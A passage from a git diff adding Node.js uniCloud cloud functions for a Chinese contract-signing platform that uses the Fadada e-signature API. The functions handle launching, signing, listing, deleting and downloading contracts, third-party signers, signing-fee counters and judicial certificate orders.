+ msg: '签约接收方账号不存在'
+ }
+ if (data.payBy === undefined || data.payBy === null || data.payBy === '')
+ return {
+ code: -1,
+ msg: `请选择费用承担方`
+ }
+ if (data.payBy === 1) payByUser = otherUser
+ // console.log('data.thirdList', data.thirdList, data.thirdList && data.thirdList.length > 0, data.thirdList.length > 0)
+ if (data.thirdList && data.thirdList.length > 0) {
+ // let inThird = false
+ for (let i = 0; i < data.thirdList.length; i++) {
+ const thirdUser = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ mobile: data.thirdList[i].phone
+ }
+ })
+ if (!thirdUser) return {
+ code: -1,
+ msg: `该用户:${data.thirdList[i].phone}不存在`
+ }
+ if (!thirdUser.fadadaConfirm) return {
+ code: -1,
+ msg: `该用户:${data.thirdList[i].phone}未通过法大大认证,无法签约`
+ }
+ if (thirdUser.uid === uid) return {
+ code: -1,
+ msg: '第三方不能为自己'
+ }
+ if (thirdUser.uid === otherUser._id) return {
+ code: -1,
+ msg: '第三方不能与对方为相同账号'
+ }
+ if (data.payBy === 2 && i === 0) {
+ payByUser = thirdUser
+ }
+ }
+ // if (data.payBy === 2 && !inThird) return {
+ // code: -1,
+ // msg: '该承担方不在第三方名单中'
+ // }
+ }
+
+ if (!otherUser.fadadaConfirm) return {
+ code: -1,
+ msg: '签约接收方账号未通过法大大认证,无法签约'
+ }
+
+ if (otherUser._id === uid) return {
+ code: -1,
+ msg: '无法与自己签约'
+ }
+ if (payByUser.qybNum <= 0) return {
+ code: -1,
+ msg: '费用承担方已无签约宝次数,无法继续签约'
+ }
+ data.payerUid = payByUser._id
+ data.transactionId = vk.pubfn.createOrderNo("C", 20)
+ let doc_url = data.contractFile
+ if (Array.isArray(doc_url)) doc_url = doc_url[doc_url.length - 1]
+ const uploaddocs = await pubFun.fadada('uploaddocs.api', {
+ contract_id: data.transactionId,
+ doc_title: data.title,
+ doc_url,
+ // file: doc_url,
+ doc_type: '.pdf'
+ })
+ if (parseInt(uploaddocs.code) === 1000) {
+ let partyCount = 2
+ if (data.thirdList && data.thirdList.length > 0) partyCount += data.thirdList.length
+ // 对方是甲方
+ const buyerSignKeyword = data.buyerSignKeyword // 签约发起方
+ const sellerSignKeyword = data.sellerSignKeyword // 签约被邀请方
+ data.buyerSignKeyword = data.userType % 2 === 1 ? sellerSignKeyword : buyerSignKeyword
+ data.sellerSignKeyword = data.userType % 2 === 1 ? buyerSignKeyword : sellerSignKeyword
+ const contractId = await vk.baseDao.add({
+ dbName: 'jjx-contract',
+ dataJson: {
+ ...data, ...{
+ status: 1,
+ userId: uid,
+ changeNum: 0,
+ productTitle: data.title,
+ docTitle: data.title,
+ type: 'sign',
+ contractBase: data.contractFile,
+ partyCount,
+ signCount: 0,
+ tradeMethod: data.tradeMethod
+ }
+ }
+ })
+
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("S", 20),
+ userId: uid,
+ role: data.userType === 1 ? 'seller' : 'buyer',
+ sign: false,
+ contractId,
+ },
+ {
+ transactionId: vk.pubfn.createOrderNo("S", 20),
+ userId: otherUser._id,
+ role: data.userType === 1 ? 'buyer' : 'seller',
+ sign: false,
+ contractId,
+ }
+ ])
+
+ if (data.thirdList && data.thirdList.length > 0) {
+ for (let i = 0; i < data.thirdList.length; i++) {
+ const thirdUser = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ mobile: data.thirdList[i].phone
+ }
+ })
+ console.log('thirdUser', thirdUser)
+ if (thirdUser) {
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("ST", 20),
+ userId: thirdUser._id,
+ role: 'third',
+ sign: false,
+ contractId,
+ keyword: data.thirdList[i].signKeyword,
+ },
+ ])
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: thirdUser._id,
+ title: `金久信签约宝`,
+ content: `您有签约宝邀请,赶紧去签订合同吧`,
+ type: 'contract',
+ hasRead: false,
+ }
+ });
+ }
+ // await pubFun.sendNotifySms(thirdUser._id, 'SMS_474570002', {
+ // name: thirdUser.accountType === 2 ? thirdUser.company.companyName : thirdUser.person.personName,
+ // name2: userInfo.accountType === 2 ? userInfo.company.companyName : userInfo.person.personName,
+ // })
+ }
+ }
+
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: payByUser._id,
+ dataJson: {
+ qybNum: _.inc(-1)
+ }
+ });
+
+ // 签约宝扣费记录
+ const remainNum = payByUser.qybNum - 1
+ const addSignLog = await vk.baseDao.add({
+ dbName: "jjx-sign-pay_list",
+ dataJson: {
+ userId: payByUser._id,
+ remainNum,
+ contractId,
+ payBy: data.payBy
+ }
+ });
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: otherUser._id,
+ title: `金久信签约宝`,
+ content: `您有金久信签约宝邀请,赶紧去签订合同吧`,
+ type: 'contract',
+ hasRead: false,
+ }
+ });
+ // await pubFun.sendNotifySms(otherUser._id, 'SMS_474570002', {
+ // name: otherUser.accountType === 2 ? otherUser.company.companyName : otherUser.person.personName,
+ // name2: userInfo.accountType === 2 ? userInfo.company.companyName : userInfo.person.personName,
+ // })
+
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/buy.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/buy.js
new file mode 100644
index 0000000..9b40842
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/buy.js
@@ -0,0 +1,67 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/qyb/list/kh/buy 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, contractId, contractNo, amount} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const amountDict = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: 'ded3e568662e5817000026633aad1e69'
+ })
+
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = (amount * (parseInt(userLevel.valueAddRate) / 100)).toFixed(2)
+ saveAmount = (amount - offAmount).toFixed(2)
+ }
+ }
+
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid,
+ orderStatus: 0,
+ type: 12,
+ amount,
+ offAmount,
+ saveAmount,
+ offRate,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: contractId,
+ num: 1,
+ goodsName: `合同:${contractNo}司法调证`,
+ goodsPrice: amount,
+ goodsCover: null,
+ }
+ })
+
+ res.data = orderId
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/certificateAdd.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/certificateAdd.js
new file mode 100644
index 0000000..a04edab
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/certificateAdd.js
@@ -0,0 +1,32 @@
+'use strict';
+const dbName = require('../../../../dao/config.js')
+module.exports = {
+ /**
+ * 添加司法调证服务申请
+ * @url client/contract/certificate/add 前端调用的url参数地址
+ * data 请求参数
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = userInfo;
+ let res = { code: 0, msg: "申请提交成功" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // 生成交易编号
+ const orderNo = vk.pubfn.createOrderNo("C", 20);
+
+ // 添加司法调证服务记录
+ const certificateId = await vk.baseDao.add({
+ dbName: "jjx-certificate",
+ dataJson: {
+ userId: uid,
+ status: 0, // 0-待支付 1-已支付 2-处理中 3-已完成 4-已取消
+ ...data
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/checkKeywords.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/checkKeywords.js
new file mode 100644
index 0000000..73bb420
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/checkKeywords.js
@@ -0,0 +1,25 @@
+'use strict';
+const fs = require('fs');
+const pdfParse = require('pdf-parse');
+
+
+module.exports = {
+
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const fileUrl = data.fileUrl
+ const keywords = data.keywords
+
+ const dataBuffer = fs.readFileSync(fileUrl);
+ const { text } = await pdfParse(dataBuffer);
+ console.log('PDF全文:', text);
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/del.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/del.js
new file mode 100644
index 0000000..1cb92f0
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/del.js
@@ -0,0 +1,67 @@
+'use strict';
+const dbName = require("../../../../dao/config");
+const dayjs = require("dayjs");
+const PROCESS_PAY_METHOD = ['预付', '货到验收后付款', '提货付全款', '信誉采购,货到签单后账期:']
+const WRITE_INVOICE_TIME = ['付款当月(限20号之前付款,20号之后付款次月开票)', '付款后次月', '付款前']
+const INVOICE_TYPE = ['增值税专用发票13%', '增值税普通发票', '普通发票']
+
+module.exports = {
+ /**
+ * 删除合同
+ * @url client/contract/kh/del 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const contract = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-contract',
+ whereJson: {
+ _id: data.id
+ },
+ })
+
+ if (contract && contract.type === 'sign') {
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: contract.payerUid,
+ dataJson: {
+ qybNum: _.inc(1)
+ }
+ });
+ // await vk.baseDao.add({
+ // dbName: "jjx-sign-pay_list",
+ // dataJson: {
+ // userId: contract.userId,
+ // contractId,
+ // payBy: data.payBy
+ // }
+ // });
+ }
+
+ await vk.baseDao.del({
+ dbName: 'jjx-contract',
+ whereJson: {
+ _id: data.id,
+ uid
+ }
+ })
+
+ await vk.baseDao.del({
+ dbName: 'jjx-user-contract',
+ whereJson: {
+ contractId: data.id
+ }
+ })
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/extSign.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/extSign.js
new file mode 100644
index 0000000..503da3b
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/extSign.js
@@ -0,0 +1,95 @@
+'use strict';
+const dbName = require("../../../../dao/config.js")
+const dayjs = require("dayjs");
+module.exports = {
+ /**
+ * 签署合同
+ * @url client/enquiry/quote/kh/extSign 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, contractId } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ // 获取用户ID
+ const {fadadaCustomerId, fadadaSealId} = userInfo
+
+ // if(!fadadaSealId) {
+ // return {
+ // code: -1,
+ // msg: '请在个人中心上传印章'
+ // }
+ // }
+
+ const contract = await vk.baseDao.findByWhereJson({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId,
+ }
+ })
+
+ // 时间判断
+ if (contract.signEndDate && dayjs(contract.signEndDate).isBefore(dayjs())) {
+ return {
+ code: -1,
+ msg: '合同已过期'
+ }
+ }
+
+ // 获取合同信息
+ const userContract = await vk.baseDao.selects({
+ dbName: dbName.userContract,
+ getMain: true,
+ getOne: true,
+ whereJson: {
+ contractId: contractId,
+ userId: uid
+ },
+ foreignDB:[
+ {
+ dbName: dbName.contract,
+ localKey:"contractId", // 主表外键字段名
+ foreignKey: "_id", // 副表外键字段名
+ as: "contract",
+ limit: 1, // 当limit = 1时,以对象形式返回,否则以数组形式返回
+ }
+ ],
+ })
+ console.log('userContract: ',userContract);
+
+ let sign_keyword = '';
+ if(userContract.role === 'buyer') {
+ sign_keyword = userContract.contract.buyerSignKeyword
+ }else if(userContract.role === 'seller') {
+ sign_keyword = userContract.contract.sellerSignKeyword
+ }else if(userContract.role === 'third') {
+ sign_keyword = userContract.keyword
+ }
+ let return_url = 'https://www.jinjiuxinzg.cn/#/pages/contract/index?tab=1'
+ if (!data.isSignOnly) {
+ if (!!data.isWap) return_url = 'https://m.jinjiuxinzg.cn/#/pages/public/contract?tab=1'
+ }else {
+ if (!!data.isWap) return_url = 'https://m.jinjiuxinzg.cn/signOnly/#/pages/public/contract?tab=1'
+ else return_url = 'https://www.jinjiuxinzg.cn/signOnly/#/pages/contract/index?tab=1'
+ }
+ res.data = await pubFun.fadadaUrl('extsign.api', {
+ transaction_id: userContract.transactionId,
+ contract_id: contract.transactionId,
+ customer_id: fadadaCustomerId,
+ acrosspage_customer_id: fadadaCustomerId,
+ doc_title: userContract.contract.docTitle,
+ sign_keyword,
+ // notify_url: 'https://fc-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com/fadada_contract_notify',
+ // return_url: 'https://static-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com/#/pages/contract/index?tab=1'
+ notify_url: 'https://tcb-n44byxi8bmrfrki-d4bn1c4a206d.service.tcloudbase.com/fadada_contract_notify',
+ // return_url: 'https://tcb-nnexmh3j3i5hwh5-7caw62c422be-1252168680.tcloudbaseapp.com/#/pages/contract/index?tab=1'
+ return_url
+ })
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/generate.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/generate.js
new file mode 100644
index 0000000..ce30391
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/generate.js
@@ -0,0 +1,80 @@
+'use strict';
+const dbName = require('../../../../dao/config.js')
+module.exports = {
+ /**
+ * 发起/创建合同
+ * @url client/contract/kh/launch 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, contractId,title,contractFile,otherFile,signEndDate,buyerSignKeyword, sellerSignKeyword } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const contract = await vk.baseDao.findByWhereJson({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId,
+ userId: uid
+ }
+ })
+ console.log('contract: ',dbName.contract,uid);
+ // 上传合同模板并填充
+ pubFun.fadada('generate_contract.api', {
+ template_id: '20231120',
+ contract_id: contract.fadadaContractId,
+ parameter_map: JSON.stringify({
+ jiaName: userInfo.accountType == 1?userInfo.person.personName: userInfo.company.companyName,
+ jiaDate: '',
+ jiaPhone: '',
+ yiName: userInfo.accountType == 1?userInfo.person.personName: userInfo.company.companyName,
+ yiDate: '',
+ yiPhone: '',
+ sellerSupplement: contract.sellerSupplement,
+ }),
+ })
+
+
+ const uploaddocs = await pubFun.fadada('uploaddocs.api', {
+ contract_id: contract.fadadaContractId,
+ doc_title: title,
+ doc_url: contractFile,
+ // file: doc_url,
+ doc_type: '.pdf'
+ })
+
+ if(uploaddocs.code == 1000) {
+ await vk.baseDao.update({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId,
+ userId: uid
+ },
+ dataJson: {
+ status: 1,
+ docTitle: title,
+ signEndDate,
+ otherFile,
+ contractBase: contractFile,
+ buyerSignKeyword,
+ sellerSignKeyword
+ }
+ })
+
+ res.data = uploaddocs.result
+ }else {
+ return {
+ code: -1,
+ msg: uploaddocs.msg
+ }
+ }
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/getDetail.js
new file mode 100644
index 0000000..ebc1fe4
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/getDetail.js
@@ -0,0 +1,49 @@
+'use strict';
+const dbName = require("../../../../dao/config");
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/contract/kh/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, contractId } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res.data = await vk.baseDao.findByWhereJson({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId,
+ userId: uid
+ }
+ })
+
+ const partyList = await vk.baseDao.selects({
+ dbName: dbName.userContract,
+ whereJson: {
+ contractId
+ },
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ mobile: true,
+ },
+ }
+ ]
+ });
+ res.data.partyList = partyList.rows
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/getDownload.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/getDownload.js
new file mode 100644
index 0000000..a86f640
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/getDownload.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/contract/kh/report 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {contract_id} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ await pubFun.fadada('contractFiling.api', {
+ contract_id
+ })
+ const result = await pubFun.fadada('downLoadContract.api', {
+ contract_id
+ })
+ console.log(result)
+ if (parseInt(result.code) === 1000) {
+ res.data = result
+ }
+ return res
+ // 业务逻辑结束-----------------------------------------------------------
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/getList.js
new file mode 100644
index 0000000..4fda9bb
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/getList.js
@@ -0,0 +1,196 @@
+'use strict';
+const dbName = require('../../../../dao/config.js')
+module.exports = {
+ /**
+ * 获取我的合同列表
+ * @url client/enquiry/contract/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize, tradeMethod, status, type, signType} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const lastWhereJson = {}
+ const whereJson = {
+ userId: uid
+ }
+ if (vk.pubfn.isNotNull(tradeMethod) && tradeMethod != null) lastWhereJson['contract.tradeMethod'] = tradeMethod
+
+ if (vk.pubfn.isNotNull(status) && status != null) lastWhereJson['contract.status'] = status
+ if (vk.pubfn.isNotNull(type) && type != null) lastWhereJson['contract.type'] = type
+ if (vk.pubfn.isNotNull(signType) && signType != null && status !== 1) {
+ if (signType === '1') lastWhereJson['contract.signType'] = signType
+ else {
+ lastWhereJson['contract.signType'] = _.in(['2', undefined])
+ }
+ }
+
+ res = await vk.daoCenter.userContractDao.selects({
+ // data: {
+ // pageIndex,
+ // pageSize
+ // },
+ whereJson: whereJson,
+ sortArr: [{"name": "_add_time", "type": "desc"}],
+ foreignDB: [
+ {
+ dbName: dbName.contract,
+ localKey: "contractId", // 主表外键字段名
+ foreignKey: "_id", // 副表外键字段名
+ as: "contract",
+ limit: 1, // 当limit = 1时,以对象形式返回,否则以数组形式返回
+ foreignDB: [
+ {
+ dbName: dbName.userContract,
+ localKey: "_id", // 主表外键字段名
+ foreignKey: "contractId", // 副表外键字段名
+ as: "partyList",
+ limit: 100,
+ foreignDB: [
+ {
+ dbName: dbName.user,
+ localKey: "userId", // 主表外键字段名
+ foreignKey: "_id", // 副表外键字段名
+ as: "user",
+ limit: 1,
+ foreignDB: [
+ {
+ dbName: 'uni-id-users',
+ localKey: "_id", // 主表外键字段名
+ foreignKey: "userId", // 副表外键字段名
+ company: {
+ companyName: true
+ },
+ person: {
+ personName: true
+ },
+ businessCard: true,
+ accountType: true,
+ }
+ ]
+ },
+ ]
+ },
+ {
+ dbName: 'jjx-sign-pay_list',
+ localKey: "_id", // 主表外键字段名
+ foreignKey: "contractId", // 副表外键字段名
+ as: "payUser",
+ limit: 1,
+ foreignDB: [
+ {
+ dbName: dbName.user,
+ localKey: "userId", // 主表外键字段名
+ foreignKey: "_id", // 副表外键字段名
+ as: "user",
+ limit: 1
+ },
+ ]
+
+ },
+ {
+ dbName: 'jjx-certificate',
+ localKey: "_id", // 主表外键字段名
+ foreignKey: "contractId", // 副表外键字段名
+ as: "certificate",
+ limit: 1
+ }
+ ]
+ }
+ ],
+ lastWhereJson: lastWhereJson
+ })
+
+ let result = {
+ rows: [],
+ total: 0,
+ hasMore: false,
+ code: 0,
+ msg: "查询成功",
+ }
+ console.log("rows", res.rows)
+ if (vk.pubfn.isNotNull(data.keyword) && data.keyword != null && data.keyword) {
+ const userList = await vk.baseDao.select({
+ dbName: "uni-id-users",
+ getCount: true,
+ whereJson: _.or([
+ {
+ mobile: data.keyword
+ },
+ {
+ 'person.personName': data.keyword
+ },
+ {
+ 'company.companyName': data.keyword
+ }
+ ])
+ });
+ console.log("userList", userList)
+ if (userList.total > 0) {
+ for (let i in res.rows) {
+ const row = res.rows[i]
+ for (let j in row.contract.partyList) {
+ const party = row.contract.partyList[j]
+ for (let k in userList.rows) {
+ const user = userList.rows[k]
+ if (party.user._id === user._id) {
+ result.rows.push(row)
+ }
+ }
+ }
+ }
+ }
+ result.total = result.rows.length
+ } else {
+ result = res
+ }
+
+ for (let i in result.rows) {
+ const row = result.rows[i]
+ let sheet = null, order = null
+ if (row.contract) {
+ row.contract.isMine = row.contract.userId === uid
+ if (row.contract.type === 'enquiry' && row.contract.sheetId) {
+ sheet = await vk.baseDao.findById({
+ dbName: 'jjx-enquiry-sheet',
+ id: row.contract.sheetId
+ })
+ } else if (row.contract.type === 'process' && row.contract.sheetId) {
+ sheet = await vk.baseDao.findById({
+ dbName: 'jjx-process-sheet',
+ id: row.contract.sheetId
+ })
+ } else if (row.contract.type === 'old' && row.contract.sheetId) {
+ sheet = await vk.baseDao.findById({
+ dbName: 'jjx-old',
+ id: row.contract.sheetId
+ })
+ }
+ order = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-order',
+ whereJson: {
+ contractId: row.contract._id
+ }
+ })
+ if (row.contract.certificate) {
+ const orderGoods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ goodsId: row.contract._id
+ }
+ })
+ if (orderGoods) {
+ row.contract.certificate.orderId = orderGoods.orderId
+ }
+ }
+ }
+ result.rows[i].sheet = sheet
+ result.rows[i].order = order
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return result;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/launch.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/launch.js
new file mode 100644
index 0000000..847e558
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/launch.js
@@ -0,0 +1,220 @@
+'use strict';
+const dbName = require('../../../../dao/config.js')
+module.exports = {
+ /**
+ * 发起/创建合同
+ * @url client/contract/kh/launch 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, contractId, title, contractFile, otherFile, signEndDate, buyerSignKeyword, sellerSignKeyword} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const otherUser = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-user-contract',
+ whereJson: {
+ contractId: contractId,
+ userId: _.neq(uid)
+ }
+ })
+ if (data.thirdList && data.thirdList.length > 0) {
+ for (let i = 0; i < data.thirdList.length; i++) {
+ if (data.thirdList[i].phone) {
+ const thirdUser = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ mobile: data.thirdList[i].phone
+ }
+ })
+ if (!thirdUser) return {
+ code: -1,
+ msg: `该用户:${data.thirdList[i].phone}不存在`
+ }
+ if (!thirdUser.fadadaConfirm) return {
+ code: -1,
+ msg: `该用户:${data.thirdList[i].phone}未通过法大大认证,无法签约`
+ }
+ if (thirdUser.uid === uid) return {
+ code: -1,
+ msg: '第三方不能为自己'
+ }
+ if (thirdUser.uid === otherUser._id) return {
+ code: -1,
+ msg: '第三方不能与对方为相同账号'
+ }
+ }
+ }
+ }
+ const contract = await vk.baseDao.findByWhereJson({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId,
+ userId: uid
+ }
+ })
+ console.log('contract: ', contract);
+ let newTransactionId = vk.pubfn.createOrderNo("C", 20)
+ let doc_url = contractFile
+ if (Array.isArray(doc_url)) doc_url = doc_url[doc_url.length - 1]
+ const uploaddocs = await pubFun.fadada('uploaddocs.api', {
+ contract_id: newTransactionId,
+ doc_title: title,
+ doc_url,
+ // file: doc_url,
+ doc_type: '.pdf'
+ })
+ let otherFileResList = []
+ // 存在附件则合并
+ if (otherFile && otherFile.length > 0) {
+ for (let i = 0; i < otherFile.length; i++) {
+ otherFileResList.push(newTransactionId + i.toString())
+ await pubFun.fadada('uploaddocs.api', {
+ contract_id: newTransactionId + i.toString(),
+ doc_title: title + `:附件${i + 1}`,
+ doc_url: otherFile[i],
+ doc_type: '.pdf'
+ })
+ }
+ otherFileResList.unshift(newTransactionId)
+
+ // 合并接口
+ newTransactionId = vk.pubfn.createOrderNo("MC", 20)
+ const mergeRes = await pubFun.fadada('merge_contract.api', {
+ contract_id: newTransactionId,
+ doc_title: title,
+ contract_ids: otherFileResList.join()
+ })
+ console.log('mergeRes', mergeRes)
+ console.log('otherFileResList', otherFileResList)
+ }
+ await vk.baseDao.update({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId
+ },
+ dataJson: {
+ transactionId: newTransactionId,
+ }
+ })
+ if (parseInt(uploaddocs.code) === 1000) {
+ let partyCount = 2
+ if (data.thirdList && data.thirdList.length > 0) partyCount += data.thirdList.filter(item => !!item.phone).length
+ const contract = await vk.baseDao.updateAndReturn({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId,
+ userId: uid
+ },
+ dataJson: {
+ status: 1,
+ docTitle: title,
+ signEndDate,
+ otherFile,
+ partyCount,
+ contractBase: contractFile,
+ buyerSignKeyword,
+ sellerSignKeyword
+ }
+ })
+ if (contract.type === 'enquiry') {
+ await vk.baseDao.update({
+ dbName: 'jjx-enquiry-sheet',
+ whereJson: {
+ _id: contract.sheetId
+ },
+ dataJson: {
+ status: 2,
+ }
+ })
+ }
+
+ // const otherUser = await vk.baseDao.findByWhereJson({
+ // dbName: 'jjx-user-contract',
+ // whereJson: {
+ // contractId: contractId,
+ // userId: _.neq(uid)
+ // }
+ // })
+
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: otherUser.userId,
+ title: `您有新的合同待签署`,
+ content: `您有新的合同待签署,赶紧去签合同吧`,
+ type: 'contract',
+ hasRead: false,
+ }
+ });
+ // await pubFun.sendNotifySms(otherUser.userId, 'SMS_474525001')
+ await vk.baseDao.del({
+ dbName: 'jjx-user-contract',
+ whereJson: {
+ contractId,
+ role: 'third',
+ }
+ })
+ await vk.baseDao.del({
+ dbName: 'jjx-message',
+ whereJson: {
+ contractId,
+ type: 'contract',
+ isThird: true
+ }
+ })
+ if (data.thirdList && data.thirdList.length > 0) {
+ console.log('data.thirdList', data.thirdList)
+ for (let i = 0; i < data.thirdList.length; i++) {
